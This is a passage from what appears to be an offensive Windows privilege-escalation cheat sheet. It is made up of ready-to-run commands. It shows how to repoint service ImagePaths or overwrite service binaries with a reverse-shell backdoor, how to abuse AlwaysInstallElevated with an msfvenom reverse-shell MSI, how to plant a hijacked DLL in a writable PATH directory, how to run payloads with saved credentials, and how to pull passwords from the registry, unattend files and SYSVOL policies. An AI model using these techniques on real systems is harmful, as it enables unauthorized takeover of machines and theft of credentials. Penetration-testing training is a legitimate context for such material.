#     ErrorControl    REG_DWORD    0x1
#     ImagePath    REG_EXPAND_SZ    %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation
#     ...

# update ImagePath to point to our reverse shell payload
reg add HKLM\System\CurrentControlSet\Services\upnphost /v ImagePath /t REG_EXPAND_SZ /d C:\Windows\Temp\backdoor.exe /f
# Start netcat listener to catch the reverse shell and start the service
net start "upnphost" # net stop "upnphost" first if the service is already running.

Weak Service Executable File Permissions Exploitation

# verifying we can overwrite and existing service binary file 
icacls "C:\Program Files\Heisenburg\knocks.exe"  # or .\accesschk.exe /accepteula -uvwq "C:\Program Files\Heisenburg\knocks.exe"

# Example output if (builtin\users or EVERYONE) has ( (I) or (F) ) on "C:\Program Files\Heisenburg":
#                  Everyone:(F)
#                  BUILTIN\Users:(I)(RX) 
# Example output for accesschk.exe:
#  RW BUILTIN\Users
#        FILE_ALL_ACCESS

# backup original executable
copy "C:\Program Files\Heisenburg\knocks.exe"  C:\Temp\

# Create reverse shell binary and overwrite the existing one
copy /Y C:\Temp\backdoor.exe "C:\Program Files\Heisenburg\knocks.exe" 
# Start netcat listener to catch the reverse shell and start the service
net start "heisenburgsvc" # net stop "heisenburgsvc" first if the service is already running.

AlwaysInstallElevated privilege Escalation

# This will only work if both registry keys contain "AlwaysInstallElevated" value 0x1.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# if the conditions are met we can exploit this now

# generate reverse shell msi payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<MY-IP> LPORT=<MY-PORT> -f msi -o shell.msi

# copy the binary over to target, start a listener and exec
msiexec /quiet /qn /i C:\Temp\shell.msi

DLL hijacking

You can see the DLL search order on 32-bit systems below:
1 - The directory from which the application loaded
2 - 32-bit System directory (C:\Windows\System32)
3 - 16-bit System directory (C:\Windows\System)
4 - Windows directory (C:\Windows)
5 - The current working directory (CWD)
6 - Directories in the PATH environment variable (system then user)
As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win.
echo %path%
# We can check our access permissions with accesschk or cacls
accesschk.exe -dqv "C:\Python27"
cacls "C:\Python27"
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot!
sc qc IKEEXT
copy evil.dll C:\Python27\wlbsctrl.dll
Restart

Stored credentials

cmdkey /list

# if saved creds exist use runas to execute as that user
runas /savedcred /user:<USERNAME-OF-SAVED-CRED> C:\Temp\backdoor.exe

Get passwords from windows registry

# autologon creds
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
or,
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Search for password in registry

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Files that may contain passwords

c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
# sysbol policy files containing cPassword on a domain controller; 
# general locations: %SYSTEMROOT%\SYSVOL\sysvol 
# \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

Find all weak folder permissions per drive.

accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

Find all weak file permissions per drive.

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

https://www.fuzzysecurity.com/tutorials/16.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html

Last updated